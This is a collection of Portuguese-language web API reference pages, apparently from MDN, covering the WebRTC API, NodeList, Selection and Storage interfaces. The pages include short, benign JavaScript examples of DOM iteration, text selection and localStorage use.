{"title":"WebRTC API - APIs da Web","text":"WebRTC API\n==========\n\n**WebRTC** (Web Real-Time Communications) é uma tecnologia que permite aplicativos e sites da Web a capturarem e opcionalmente transmitirem mídia de áudio e/ou vídeo, assim como trocar informação arbitrária entre navegadores sem a necessidade de um intermediador. O conjunto de padrões que abrangem WebRTC possibilita o compartilhamento de informação e a realização de teleconferência peer-to-peer, dispensando a instalação de *plug-ins* ou quaisquer softwares de terceiros.\n\nWebRTC consiste em diversas APIs e protocolos interrelacionados que trabalham juntos. A documentação que você encontrará aqui o ajudará a entender os fundamentos de WebRTC, como configurar e usar, tanto informação, quanto conexões de mídia e mais.\n\nConceitos e uso\n---------------\n\nWebRTC serve à diversas propostas; junto com a Media Capture and Streams API (en-US), eles fornecem poder multimídia para a Web, incluindo suporte para áudio e vídeo conferência, troca de arquivos, compartilhamento de tela, gerenciamento de identidade e interface com sistemas telefônicos legados, incluindo suporte para envio de sinais DTMF (en-US) (touch-tone dialing). As conexões entre pares podem ser feitas sem a necessidade de drivers ou plug-ins especiais e, muitas vezes, sem servidores intermediários.\n\nAs conexões entre dois pares são representadas pela interface `RTCPeerConnection` (en-US). Uma vez que uma conexão foi estabelecida e aberta usando `RTCPeerConnection`, *streams* de mídia (`MediaStream` (en-US)s) e/ou canais de dados (`RTCDataChannel`s) podem ser adicionados à conexão.\n\nDados de mídia podem consistir em qualquer número de *tracks*(faixas) de dados de mídia; *tracks*, que são representados por objetos baseados na interface `MediaStreamTrack` (en-US) , que podem conter um número dentre tipos de dados de mídia, incluíndo áudio, vídeo e texto (como legendas ou até mesmo nomes de capítulos). A maioria das transmissões consiste de ao menos uma faixa de áudio e comumente também uma faixa de vídeo, e podem ser usadas para enviar e receber ambas as mídias ao vivo ou dados salvos de mídia (como um filme transmitido).\n\nVocê também pode usar a conexão entre dois *peers* para trocar dados arbitrários binários usando a interface `RTCDataChannel`. Isto pode ser usado para informação de *back-channel* (canal de volta), troca de *metadata*, pacotes de *status* de games, transferência de arquivos, ou até mesmo como um canal primário para transferir dados.\n\n### Interoperabilidade\n\nO WebRTC é geralmente bem suportado em navegadores modernos, mas algumas incompatibilidades permanecem. A biblioteca adapter.js é um calço para isolar aplicativos dessas incompatibilidades.\n\nReferência WebRTC\n-----------------\n\nWebRTC provê interfaces que trabalham em conjunto para realizar uma variedade de tarefas, nós dividimos as interfaces na listagem abaixo por categoria. Por favor, atente-se a sidebar para uma listagem em ordem alfabética.\n\n### Configuração e gerenciamento e conexão\n\nEssas interfaces, dicionários e tipos são usados para configurar, abrir e gerenciar conexões WebRTC. Estão inclusas as interfaces que representam conexões de mídia de mesmo nível, canais de dados e interfaces usadas ao trocar informações sobre as capacidades de cada par para selecionar a melhor configuração possível para uma conexão de mídia bidirecional.\n\n#### Interfaces\n\n`RTCPeerConnection` (en-US)\n\nRepresenta uma conexão WebRTC entre o computador local e um ponto remoto. Ele é usado para lidar com o streaming eficiente de dados entre os dois pares.\n\n`RTCDataChannel`\n\nRepresenta um canal de dados bidirecional entre dois pares de uma conexão.\n\n`RTCDataChannelEvent` (en-US)\n\nRepresenta eventos que ocorrem ao anexar um `RTCDataChannel` a um `RTCPeerConnection` (en-US). O único evento enviado com esta interface é `datachannel` (en-US).\n\n`RTCSessionDescription` (en-US)\n\nRepresenta os parâmetros de uma sessão. Cada `RTCSessionDescription` consiste em uma descrição `type` (en-US) indicando qual parte do processo de negociação de oferta/resposta ela descreve e do descritor SDP da sessão.\n\n`RTCStatsReport` (en-US)\n\nFornece estatísticas detalhadas de informações para uma conexão ou para uma *track* individual na conexão; o relatório pode ser obtido chamando `RTCPeerConnection.getStats()` (en-US). Detalhes sobre o uso de estatísticas WebRTC podem ser encontrados em WebRTC Statistics API.\n\n`RTCIceCandidate` (en-US)\n\nRepresenta um servidor *Interactive Connectivity Establishment* (Estabelecimento de Conectividade Interativa) candidato (ICE (en-US)) para estabelecer um `RTCPeerConnection` (en-US).\n\n`RTCIceTransport`\n\nRepresenta informações sobre um transporte ICE (en-US).\n\n`RTCPeerConnectionIceEvent` (en-US)\n\nRepresenta eventos que ocorrem em relação aos candidatos ICE com o destino, geralmente um `RTCPeerConnection` (en-US). Apenas um evento é deste tipo: `icecandidate` (en-US).\n\n`RTCRtpSender` (en-US)\n\nGerencia a codificação e a transmissão de dados para um `MediaStreamTrack` (en-US) em um `RTCPeerConnection` (en-US).\n\n`RTCRtpReceiver` (en-US)\n\nGerencia a recepção e decodificação de dados para um `MediaStreamTrack` (en-US) em um `RTCPeerConnection` (en-US).\n\n`RTCTrackEvent` (en-US)\n\nA interface usada para representar um evento `track` (en-US), que indica que um objeto `RTCRtpReceiver` (en-US) foi adicionado ao `RTCPeerConnection` (en-US), indicando que um novo `MediaStreamTrack` (en-US) de entrada foi criado e adicionado ao `RTCPeerConnection`.\n\n`RTCSctpTransport` (en-US)\n\nFornece informações que descrevem um transporte de *Stream Control Transmission Protocol ou **SCTP (en-US)*** (Protocolo de Transmissão de Controle de Fluxo) e também fornece uma maneira de acessar a segurança da *Datagram Transport Layer Security ou **DTLS (en-US)*** (Camada de Transporte de Datagrama Subjacente) através do qual os pacotes SCTP para todos os canais de dados de uma `RTCPeerConnection` (en-US) são enviados e recebidos.\n\n#### Dicionários\n\n`RTCIceServer` (en-US)\n\nDefine como se conectar a um único servidor ICE (en-US) (como um servidor STUN (en-US) ou TURN (en-US)).\n\n`RTCRtpContributingSource` (en-US)\n\nContém informações sobre uma determinada *fonte de contribuição (CSRC)*, incluindo a hora mais recente em que um pacote para o qual a fonte contribuiu foi reproduzido.\n\n#### Eventos\n\n`bufferedamountlow` (en-US)\n\nA quantidade de dados atualmente armazenados em buffer pelo canal de dados — conforme indicado por sua propriedade `bufferedAmount` (en-US) — diminuiu para ficar igual ou inferior ao tamanho mínimo de dados em buffer do canal, conforme especificado por `bufferedAmountLowThreshold` (en-US).\n\n`close` (en-US)\n\nO canal de dados concluiu o processo de fechamento e agora está no estado 'fechado'. Seu transporte de dados subjacente está completamente fechado neste ponto. Você pode ser notificado *antes* do fechamento, observando o evento `closing`.\n\n`closing` (en-US)\n\nO `RTCDataChannel` fez a transição para o estado `closing`, indicando que será fechado em breve. Você pode detectar a conclusão do processo de fechamento observando o evento `close`.\n\n`connectionstatechange` (en-US)\n\nO estado da conexão foi alterado, pode ser acessada em `connectionState`.\n\n`datachannel` (en-US)\n\nUm novo `RTCDataChannel` está disponível após o peer remoto abrir um novo canal de dados. O tipo deste evento é `RTCDataChannelEvent` (en-US).\n\n`error` (en-US)\n\nUm `RTCErrorEvent` (en-US) indicando que ocorreu um erro no canal de dados.\n\n`error` (en-US)\n\nUm `RTCErrorEvent` (en-US) indicando que ocorreu um erro no `RTCDtlsTransport` (en-US). Este erro será `dtls-failure` ou `fingerprint-failure`.\n\n`gatheringstatechange` (en-US)\n\nO estado de coleta do `RTCIceTransport` mudou.\n\n`icecandidate` (en-US)\n\nUm `RTCPeerConnectionIceEvent` (en-US) que é enviado sempre que o dispositivo local identifica um novo candidato ICE que precisa ser adicionado ao par local chamando `setLocalDescription()` (en-US).\n\n`icecandidateerror` (en-US)\n\nUm `RTCPeerConnectionIceErrorEvent` (en-US) indicando que ocorreu um erro durante a coleta de candidatos ICE.\n\n`iceconnectionstatechange` (en-US)\n\nEnviado para um `RTCPeerConnection` (en-US) quando o estado de sua conexão ICE - encontrado na propriedade `iceconnectionstate` (en-US) - muda.\n\n`icegatheringstatechange` (en-US)\n\nEnviado para um `RTCPeerConnection` (en-US) quando seu estado de coleta de ICE - encontrado na propriedade `icegatheringstate` (en-US) - muda.\n\n`message` (en-US)\n\nUma mensagem foi recebida no canal de dados. O evento é do tipo `MessageEvent` (en-US).\n\n`negotiationneeded` (en-US)\n\nInforma ao `RTCPeerConnection` que ele precisa realizar negociação de sessão chamando `createOffer()` (en-US) seguido por `setLocalDescription()` (en-US).\n\n`open` (en-US)\n\nO transporte de dados subjacente para o `RTCDataChannel` foi aberto ou reaberto com sucesso.\n\n`selectedcandidatepairchange` (en-US)\n\nO par atualmente selecionado de candidatos ICE foi alterado para o `RTCIceTransport` no qual o evento é disparado.\n\n`track` (en-US)\n\nO evento `track`, do tipo `RTCTrackevent` (en-US) é enviado para um `RTCPeerConnection` (en-US) quando uma nova trilha é adicionada à conexão após a negociação bem-sucedida da mídia transmissão.\n\n`signalingstatechange` (en-US)\n\nEnviado para a conexão de mesmo nível quando seu `signalingstate` (en-US) foi alterado. Isso acontece como resultado de uma chamada para `setLocalDescription()` (en-US) ou `setRemoteDescription()` (en-US).\n\n`statechange`\n\nO estado do `RTCDtlsTransport` mudou.\n\n`statechange` (en-US)\n\nO estado do `RTCIceTransport` mudou.\n\n`statechange` (en-US)\n\nO estado do `RTCSctpTransport` mudou.\n\n#### Tipos\n\n`RTCSctpTransport.state` (en-US)\n\nIndica o estado de uma instância `RTCSctpTransport` (en-US).\n\n### Identidade e segurança\n\nA API WebRTC inclui várias interfaces para gerenciar segurança e identidade.\n\n`RTCIdentityProvider`\n\nPermite que um agente de usuário possa solicitar que uma declaração de identidade seja gerada ou validada.\n\n`RTCIdentityAssertion` (en-US)\n\nRepresenta a identidade de um ponto remoto da conexão atual. Se nenhum par ainda foi definido e verificado, esta interface retorna `null`. Uma vez definido, não pode ser alterado.\n\n`RTCIdentityProviderRegistrar`\n\nRegistra um provedor de identidade (idP).\n\n`RTCCertificate`\n\nRepresenta um certificado que um `RTCPeerConnection` (en-US) usa para autenticar.\n\n### Telefonia\n\nEssas interfaces e eventos estão relacionadas à interatividade com redes telefônicas públicas comutadas (PTSNs) Elas são primariamente usadas para enviar sons de discagem por tom - ou pacotes que representam esses tons - pela rede para um par remoto.\n\n#### Interfaces\n\n`RTCDTMFSender` (en-US)\n\nGerencia a codificação e a transmissão da sinalização de multifrequência de tom duplo (DTMF (en-US)) para um `RTCPeerConnection` (en-US).\n\n`RTCDTMFToneChangeEvent` (en-US)\n\nUsado pelo evento `tonechange` (en-US) para indicar que um tom DTMF começou ou terminou. Este evento não propaga \"bolhas\" (exceto onde indicado de outra forma) e não é cancelável (exceto onde indicado de outra forma).\n\n#### Eventos\n\n`tonechange` (en-US)\n\nUm novo tom DTMF (en-US) começou a tocar na conexão, ou o último tom no `toneBuffer` (en-US) do `RTCDTMFSender` foi enviado e o buffer agora está vazio. O tipo do evento é `RTCDTMFToneChangeEvent` (en-US).\n\nGuias\n-----\n\nIntrodução aos protocolos WebRTC\n\nEste artigo apresenta os protocolos sobre os quais a API WebRTC é construída.\n\nConectividade WebRTC (en-US)\n\nUm guia de como as conexões WebRTC funcionam e como os vários protocolos e interfaces podem ser usados ​​juntos para criar aplicativos de comunicação poderosos.\n\nVida útil de uma sessão WebRTC (en-US)\n\nWebRTC permite criar comunicação *peer-to-peer* de dados arbitrários, áudio ou vídeo — ou qualquer combinação deles — em um aplicativo de navegador. Neste artigo, veremos o tempo de vida de uma sessão WebRTC, desde o estabelecimento da conexão até o fechamento da conexão quando ela não for mais necessária.\n\nEstabelecendo uma conexão: O padrão de negociação perfeito (en-US)\n\n**Negociação perfeita** é um padrão de design recomendado para o seu processo de sinalização, que fornece transparência na negociação enquanto permite que ambos os lados sejam o *`offerer`* (ofertante) ou o *`answerer`* (respondente), sem necessidade de muito código para diferenciar os dois.\n\nSinalização e chamada de vídeo bidirecional (en-US)\n\nUm tutorial e exemplo que transforma um sistema de chat baseado em WebSocket criado para um exemplo anterior e adiciona suporte para abertura de chamadas de vídeo entre os participantes. A conexão WebSocket do servidor de bate-papo é usada para sinalização WebRTC.\n\nCodecs usados ​​pelo WebRTC (en-US)\n\nUm guia para os codecs que o WebRTC exige que os navegadores suportem, bem como os opcionais suportados por vários navegadores populares. Está incluído um guia para ajudá-lo a escolher os melhores codecs para suas necessidades.\n\nUsando canais de dados WebRTC (en-US)\n\nEste guia aborda como você pode usar uma conexão de mesmo nível e um `RTCDataChannel` associado para trocar dados arbitrários entre dois pares.\n\nUsando DTMF com WebRTC (en-US)\n\nO suporte do WebRTC para interagir com gateways que se conectam a sistemas telefônicos antigos inclui suporte para enviar tons DTMF usando a interface `RTCDTMFSender` (en-US). Este guia mostra como fazer isso.\n\nTutoriais\n---------\n\nMelhorando a compatibilidade usando o adaptador WebRTC.js (en-US)\n\nA organização WebRTC fornece no GitHub o adaptador WebRTC para solucionar problemas de compatibilidade em implementações WebRTC de diferentes navegadores. O adaptador é um shim JavaScript que permite que seu código seja escrito de acordo com a especificação para que \"simplesmente funcione\" em todos os navegadores com suporte a WebRTC.\n\nUma simples amostra de RTCDataChannel\n\nA interface `RTCDataChannel` é um recurso que permite abrir um canal entre dois pares através do qual você pode enviar e receber dados arbitrários. A API é intencionalmente semelhante à API WebSocket, para que o mesmo modelo de programação possa ser usado para cada uma.\n\nConstruindo um telefone conectado à Internet com Peer.js (en-US)\n\nEste tutorial é um guia passo a passo sobre como construir um telefone usando Peer.js\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| WebRTC: Real-Time Communication in Browsers  |\n| Media Capture and Streams  |\n| Media Capture from DOM Elements  |\n\n### Protocolos adequados para WebRTC\n\n* Negociação de protocolo de camada de aplicativo para comunicações em tempo real na Web (en-US)\n* Requisitos de processamento e codec de áudio WebRTC (en-US)\n* Canais de dados RTCWeb (en-US)\n* Protocolo de Canal de Dados RTCWeb (en-US)\n* Comunicação Web em Tempo Real (WebRTC): Transporte de Mídia e Uso de RTP (en-US)\n* Arquitetura de segurança WebRTC (en-US)\n* Transportes para RTCWEB (en-US)\n### Protocolos de suporte relacionados\n\n* Estabelecimento de Conectividade Interativa (ICE): Um Protocolo para Tradutor de Endereço de Rede (NAT) Traversal para Protocolo de Oferta/Resposta (en-US)\n* Utilitários de travessia de sessão para NAT (STUN) (en-US)\n* Esquema de URI para o protocolo Session Traversal Utilities for NAT (STUN) (en-US)\n* Traversal Using Relays around NAT (TURN) Uniform Resource Identifiers (en-US)\n* Um modelo de oferta/resposta com protocolo de descrição de sessão (SDP) (en-US)\n* Session Traversal Utilities for NAT (STUN) Extension for Third Party Authorization (en-US)\nVeja também\n-----------\n\n* `MediaDevices`\n* `MediaStreamEvent` (en-US)\n* `MediaStreamTrack` (en-US)\n* `MessageEvent` (en-US)\n* `MediaStream` (en-US)\n* API de captura de mídia e fluxos (en-US)\n* Firefox multistream e renegociação para Jitsi Videobridge (en-US)\n* Peering através do WebRTC Fog com SocketPeer (en-US)\n* Inside the Party Bus: Construindo um aplicativo da Web com vários fluxos de vídeo ao vivo + gráficos interativos (en-US)\n* Tecnologias de mídia da Web (en-US)\n* API de estatísticas WebRTC"}
{"title":"NodeList - APIs da Web","text":"NodeList\n========\n\nObjetos **`NodeList`** são coleções de nodos semelhantes aos objetos retornados pelos métodos `Node.childNodes` e `document.querySelectorAll()`.\n\n**Nota:** Apesar de `NodeList` não ser um `Array`, é possível ser iterada usando o método `forEach()`. Muitos navegadores antigos ainda não implementaram este método.\n\nEm alguns casos, `NodeList` é uma *coleção viva*, ou seja, toda alteração feita no DOM reflete nos elementos da coleção. Por exemplo, `Node.childNodes` é uma coleção viva:\n\n\n```js\nvar parent = document.getElementById(\"parent\");\nvar child_nodes = parent.childNodes;\nconsole.log(child_nodes.length); // let's assume \"2\"\nparent.appendChild(document.createElement(\"div\"));\nconsole.log(child_nodes.length); // should output \"3\"\n```\n\n\nJá em outros casos `NodeList` é um *coleção estática*, significando que toda alteração subsequente ao DOM não afeta o conteúdo da coleção. `document.querySelectorAll()` é um exemplo de método que retorna uma `NodeList` estática.\n\nÉ aconselhável lembrar dessa distinção quando for escolher como iterar sobre os itens de uma `NodeList`, e como você faz o *cache* do tamanho dessa lista.\n\nPropriedades\n------------\n\n`NodeList.length` (en-US)\n\nA quantidade de nodos na `NodeList`.\n\nMétodos\n-------\n\n`NodeList.item()` (en-US)\n\nRetorna um item da lista pelo índice, ou `null` se o índice for inválido; pode ser usado como uma alternativa a `nodeList[idx]` (que retorna `undefined` quando `idx` é inválido).\n\n`NodeList.entries()` (en-US)\n\nRetorna um `iterador` que permite passar por todos os pares chave/valor contidos no objeto.\n\n`NodeList.forEach()` (en-US)\n\nExecuta uma função recebida uma vez para cada elemento no `NodeList`.\n\n`NodeList.keys()` (en-US)\n\nRetorna um `iterador` que permite passar por todas as chaves dos pares chave/valor contidos no objeto.\n\n`NodeList.values()` (en-US)\n\nRetorna um `iterador` que permite passar por todos os valores dos pares chave/valor contidos no objeto.\n\nExemplo\n-------\n\nÉ possivel iterar sobre os items de um `NodeList` usando:\n\n\n```js\nfor (var i = 0; i < myNodeList.length; ++i) {\n  var item = myNodeList[i]; // Calling myNodeList.item(i) isn't necessary in JavaScript\n}\n```\n\n\nNão caia na tentação de usar for...in ou for each...in para enumerar os items de uma lista, já que também serão enumeradas as propriedades `length` e `item` da `NodeList`, o que causará erros se o seu script assumir que processará apenas objetos `element`. Não esquecendo que `for..in` **não** garante a iteração nas propriedades de forma ordenada.\n\n`for...of` (en-US) iterará sobre os objetos da `NodeList` de maneira correta:\n\n\n```js\nvar list = document.querySelectorAll(\"input[type=checkbox]\");\nfor (var item of list) {\n  item.checked = true;\n}\n```\n\n\nNavegadores modernos suportam métodos de iteração, `forEach()` (en-US), bem como `entries()` (en-US), `values()` (en-US), e `keys()` (en-US)\n\nHá também um jeito compatível com o Internet Explorer de usar `Array.prototype.forEach` para iteração.\n\n\n```js\nvar list = document.querySelectorAll(\"input[type=checkbox]\");\nArray.prototype.forEach.call(list, function (item) {\n  item.checked = true;\n});\n```\n\nNodeList prototype\n------------------\n\nVocê também pode adicionar protótipos para `NodeList`:\n\n\n```js\nvar elements = document.querySelectorAll(\".suggestions\");\n\nNodeList.prototype.addEventListener = function (event, func) {\n  this.forEach(function (content, item) {\n    content.addEventListener(event, func);\n  });\n};\n\nfunction log() {\n  console.log(this, \" was clicked\");\n}\n\nelements.addEventListener(\"click\", log);\n//or\nelements.addEventListener(\"click\", function () {\n  console.log(this, \" awas clicked\");\n});\n// output from both will be element was clicked the element would be HTML Element\n```\n\n\nPara mais informações sobre forEach veja `Array.prototype.forEach`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # interface-nodelist |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Seleção - APIs da Web","text":"Seleção\n=======\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nUm objeto **`Selection`** representa um intervalo do texto selecionado pelo usuário ou a posição atual do cursor. Para obter o objeto Selection para inspecionar ou modificar, use `Window.getSelection()`.\n\nO usuário pode fazer a seleção da esquerda para a direita (na orientação do documento) ou da direita para a esquerta (orientação inversa do documento). O atributo **anchor (âncora)** é onde o usuário iniciou a seleção e o atributo **focus (foco)** é onde o usuário terminou a seleção. Se você fizer a seleção utilizando um mouse no desktop, o *anchor* é definido onde você pressionou o botão do mouse e o *focus* é definido onde você soltou o botão do mouse. *Anchor* e *focus* não devem ser confundidos com a posição inicial e final da seleção, pois o *anchor* pode ser definido antes do *focus* ou vice versa, dependendo da direção em que você fez sua seleção.\n\nPropriedades\n------------\n\n`Selection.anchorNode` (en-US)Somente leitura \n\nRetorna o `Node` onde a seleção começou.\n\n`Selection.anchorOffset` (en-US)Somente leitura \n\nRetorna um número representando o deslocamento do anchor dentro do elemento Se o elemento for do tipo text node, o número retornado será o número de caracteres no elemento que precedem o anchor (clique inicial da seleção). Se o elemento for do tipo element (qualquer tag html que não seja text node), o número retornado será o número de nós filhos do elemento que precedem o anchor.\n\n`Selection.focusNode` (en-US)Somente leitura \n\nRetorna o `Node` onde a seleção termina.\n\n`Selection.focusOffset` (en-US)Somente leitura \n\nRetorna um número representando o deslocamento do focus dentro do elemento Se o elemento for do tipo text node, o número retornado será o número de caracteres no elemento que precedem o focus (posição onde o mouse foi solto). Se o elemento for do tipo element (qualquer tag html que não seja text node), o número retornado será o número de nós filhos do elemento que precedem o focus.\n\n`Selection.isCollapsed` (en-US)Somente leitura \n\nRetorna um valor booleano indicando se o início e o final da seleção são a mesma posição, ou seja, começou e terminou no mesmo lugar.\n\n`Selection.rangeCount` (en-US)Somente leitura \n\nRetorna no número de intervalos da seleção.\n\n`Selection.type` (en-US)Somente leitura \n\nRetorna um `DOMString` descrevento o tipo da seleção atual.\n\nMétodos\n-------\n\n`Selection.addRange()` (en-US)\n\nUm objeto `Range` (en-US) que será adicionado na seleção.\n\n`Selection.collapse()` (en-US)\n\nColapsa a seleção atual em um único ponto.\n\n`Selection.collapseToEnd()` (en-US)\n\nColapsa a seleção para o final do último intervalo na seleção.\n\n`Selection.collapseToStart()` (en-US)\n\nColapsa a seleção para o início do primeiro intervalo na seleção.\n\n`Selection.containsNode()` (en-US)\n\nIndica se um certo nó é parte da seleção.\n\n`Selection.deleteFromDocument()` (en-US)\n\nApaga o conteúdo da seleção do documento.\n\n`Selection.empty()` (en-US)\n\nRemove todos os intervalos da seleção. Este é um apelido para `removeAllRanges()` — Veja `Selection.removeAllRanges()` (en-US) para mais detalhes.\n\n`Selection.extend()` (en-US)\n\nMove o focus (final da seleção) para um ponto específico.\n\n`Selection.getRangeAt()` (en-US)\n\nRetorna um objeto `Range` (en-US) represetando um dos intervalos atualmente selecionados.\n\n`Selection.modify()` (en-US)\nNon-standard\n\nAltera a seleção atual.\n\n`Selection.removeRange()` (en-US)\n\nRemove um intervalo da seleção.\n\n`Selection.removeAllRanges()` (en-US)\n\nRemove todos os intervalos da seleção.\n\n`Selection.selectAllChildren()` (en-US)\n\nAdiciona todos os filhos do nó especificado para a seleção.\n\n`Selection.setBaseAndExtent()` (en-US)\n\nDefine que a seleção será um intervalo incluindo todos ou partes dos dois nós DOM especificados, e qualquer conteúdo entre esses nós.\n\n`Selection.setPosition()` (en-US)\n\nColapsa a seleção atual para um único ponto. Este é um apelido para `collapse()` — Veja `Selection.collapse()` (en-US) para mais detalhes.\n\n`Selection.toString()` (en-US)\n\nRetorna uma string atualmente representada pelo objeto selection, i.e. o texto atualmente selecionado.\n\nNotas\n-----\n\n### Representação da seleção em formato de String\n\nChamando a função `Selection.toString()` (en-US) retorna o texto selecionado, e.g.:\n\n\n```js\nvar selObj = window.getSelection();\nwindow.alert(selObj);\n```\n\n\nPerceba que usando um objeto selection como argumento de `window.alert` executará o metodo `toString` automaticamente.\n\n### Multiplos intervalos em uma seleção\n\n Um objeto selection representa os `intervalos` (en-US) que o usuário selecionou.\n Normalmente é apenas um intervalo, acessado da seguinte forma:\n\n\n```js\nvar selObj = window.getSelection();\nvar range = selObj.getRangeAt(0);\n```\n\n\n* `selObj` é um objeto selection\n* `range` é um objeto `Range` (en-US)\n\nComo consta nas Especificações da API de seleção, a API foi inicialmente criada pela Netscape e usados multiplos intervalos, por instância, para permitir ao usuário selecionar uma coluna de uma `<table>`. Outros navegadores como Gecko não implementaram multiplos intervalos, e a especificação exige que a seleção sempre tenha um único intervalo.\n\n### Seleção e foco de input\n\nSeleção e foco de input (indicado por `Document.activeElement`) tem uma relação complexa, que depende do navegador. Para um código compatível com vários navegadores, o melhor é manter os códigos separados.\n\nO Safari e o Chrome (ao contrário do Firefox) historicamente foca no elemento contendo a seleção quando a seleção é modificada programaticamente, mas isto pode mudar no futuro (veja W3C bug 14383 e WebKit bug 38696).\n\n### Comportamento da API de Seleção em termos de edição e alterações de foco do host\n\nA API de Seleção tem um comportamento comum (i.e. compartilhado entre navegadores) que define como o comportamento do foco muda para **elemento editável**, após alguns desses métodos serem executados.\n\nOs comportamentos são que um elemento editado recebe o foco se anteriormente a seleção estiver fora dele, então um método da API de seleção é executado e causa uma nova seleção que será feita em um único intervalo dentro do elemento sendo editado. O foco então é movido para o final do elemento.\n\n**Nota:** Os métodos da API de seleção, move o foco apenas para o elemento sendo editado, não para outro elemento que pode receber o foco (e.g. `<a>`).\n\nO comportamento acima é aplicado para as seleções feitas usando os seguintes métodos:\n\n* `Selection.collapse()` (en-US)\n* `Selection.collapseToStart()` (en-US)\n* `Selection.collapseToEnd()` (en-US)\n* `Selection.extend()` (en-US)\n* `Selection.selectAllChildren()` (en-US)\n* `Selection.addRange()` (en-US)\n* `Selection.setBaseAndExtent()` (en-US)\n\ne quando o intervalo é modificado usando os seguintes métodos:\n\n* `Range.setStart()` (en-US)\n* `Range.setEnd()` (en-US)\n* `Range.setStartBefore()` (en-US)\n* `Range.setStartAfter()` (en-US)\n* `Range.setEndBefore()` (en-US)\n* `Range.setEndAfter()` (en-US)\n* `Range.collapse()` (en-US)\n* `Range.selectNode()` (en-US)\n* `Range.selectNodeContents()` (en-US)\n### Glossário\n\nOutras palavras chaves usadas nesta seção.\n\nanchor\n\nO anchor de uma seleção é o ponto inicial da seleção. Quando a seleção é feita com um mouse, é onde o botão do mouse é inicialmente pressionado. Quando o usuário altera a seleção usando o mouse ou teclado, o anchor não move.\n\nElemento editável\n\nUm elemento editável — i.e. um elemento HTML com o atributo `contenteditable` definido, ou o HTML filho de um documento estiver com o `designMode` habilitado.\n\nfoco de uma seleção\n\nO foco da seleção é o ponto final da seleção. Quando feita a seleção com um mouse, o focus é onde o botão do mouse foi solto. Quando o usuário muda a seleção usando o mouse ou teclado, o focus é o final da seleção que move. **Nota:** Não é o mesmo que o elemento selecionado do documento, como retornado em `document.activeElement`.\n\nintervalo\n\nUm intervalo é uma parte contínua do documento. Um intervalo pode conter nós inteiros ou partes de nós, como uma parte de um text node. Um usuário normalmente irá selecionar um único intervalo por vez, mas é possível que o usuário selecione multiplos intervalos (e.g. usando a tecla Control). Um intervalo pode ser obtido de uma seleção como um objeto `range` (en-US). Um objeto de intervalo pode ser criado no DOM e programaticamente adicionada ou removida de uma seleção.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selection API # selection-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Window.getSelection`, `Document.getSelection`, `Range` (en-US)\n* Selection-related events: `selectionchange` and `selectstart`\n* HTML inputs provide simpler helper APIs for working with selection (see `HTMLInputElement.setSelectionRange()`)\n* `Document.activeElement`, `HTMLElement.focus()` (en-US), and `HTMLElement.blur()` (en-US)"}
{"title":"Storage - APIs da Web","text":"Storage\n=======\n\nA interface de Armazenamento da Web Storage API fornece acesso ao armazenamento de sessão ou armazenamento local para um domínio específico, permitindo que você, por exemplo, adicione, modifique ou exclua itens de dados armazenados.\n\nSe você quiser manipular o armazenamento de sessão para um domínio, você chama o método `Window.sessionStorage`; Se você quiser manipular o armazenamento local para um domínio, você chama `Window.localStorage`.\n\nPropriedades\n------------\n\n`Storage.length` Somente leitura \n\nRetorna um número inteiro que representa o número de itens de dados armazenados no objeto Storage.\n\nMétodos\n-------\n\n`Storage.key()`\n\nQuando passado um número n, este método retornará o nome da n-ésima chave no armazenamento..\n\n`Storage.getItem()`\n\nQuando passado um nome de chave, retornará o valor dessa chave.\n\n`Storage.setItem()`\n\nQuando passado um nome de chave e valor, irá adicionar essa chave para o armazenamento, ou atualizar o valor dessa chave, se já existir.\n\n`Storage.removeItem()`\n\nQuando passado um nome de chave, irá remover essa chave do armazenamento.\n\n`Storage.clear()`\n\nQuando chamado, irá esvaziar todas as chaves fora do armazenamento.\n\nExemplos\n--------\n\nAqui acessamos um objeto Storage chamando localStorage. Primeiro testamos se o armazenamento local contém itens de dados usando! localStorage.getItem ('bgcolor'). Se isso acontecer, executaremos uma função chamada setStyles () que agarra os itens de dados usando `localStorage.getItem()` E usa esses valores para atualizar estilos de página. Se não, executamos outra função, populateStorage (), que usa `localStorage.setItem()` Para definir os valores do item, em seguida, executa setStyles ().\n\n\n```js\nif (!localStorage.getItem(\"bgcolor\")) {\n  populateStorage();\n} else {\n  setStyles();\n}\n\nfunction populateStorage() {\n  localStorage.setItem(\"bgcolor\", document.getElementById(\"bgcolor\").value);\n  localStorage.setItem(\"font\", document.getElementById(\"font\").value);\n  localStorage.setItem(\"image\", document.getElementById(\"image\").value);\n\n  setStyles();\n}\n\nfunction setStyles() {\n  var currentColor = localStorage.getItem(\"bgcolor\");\n  var currentFont = localStorage.getItem(\"font\");\n  var currentImage = localStorage.getItem(\"image\");\n\n  document.getElementById(\"bgcolor\").value = currentColor;\n  document.getElementById(\"font\").value = currentFont;\n  document.getElementById(\"image\").value = currentImage;\n\n  htmlElem.style.backgroundColor = \"#\" + currentColor;\n  pElem.style.fontFamily = currentFont;\n  imgElem.setAttribute(\"src\", currentImage);\n}\n```\n\n\n**Nota:** Para ver isso funcionando como um exemplo completo de trabalho, consulte nossa Demonstração de armazenamento na Web.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # storage |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\nUsing the Web Storage API"}
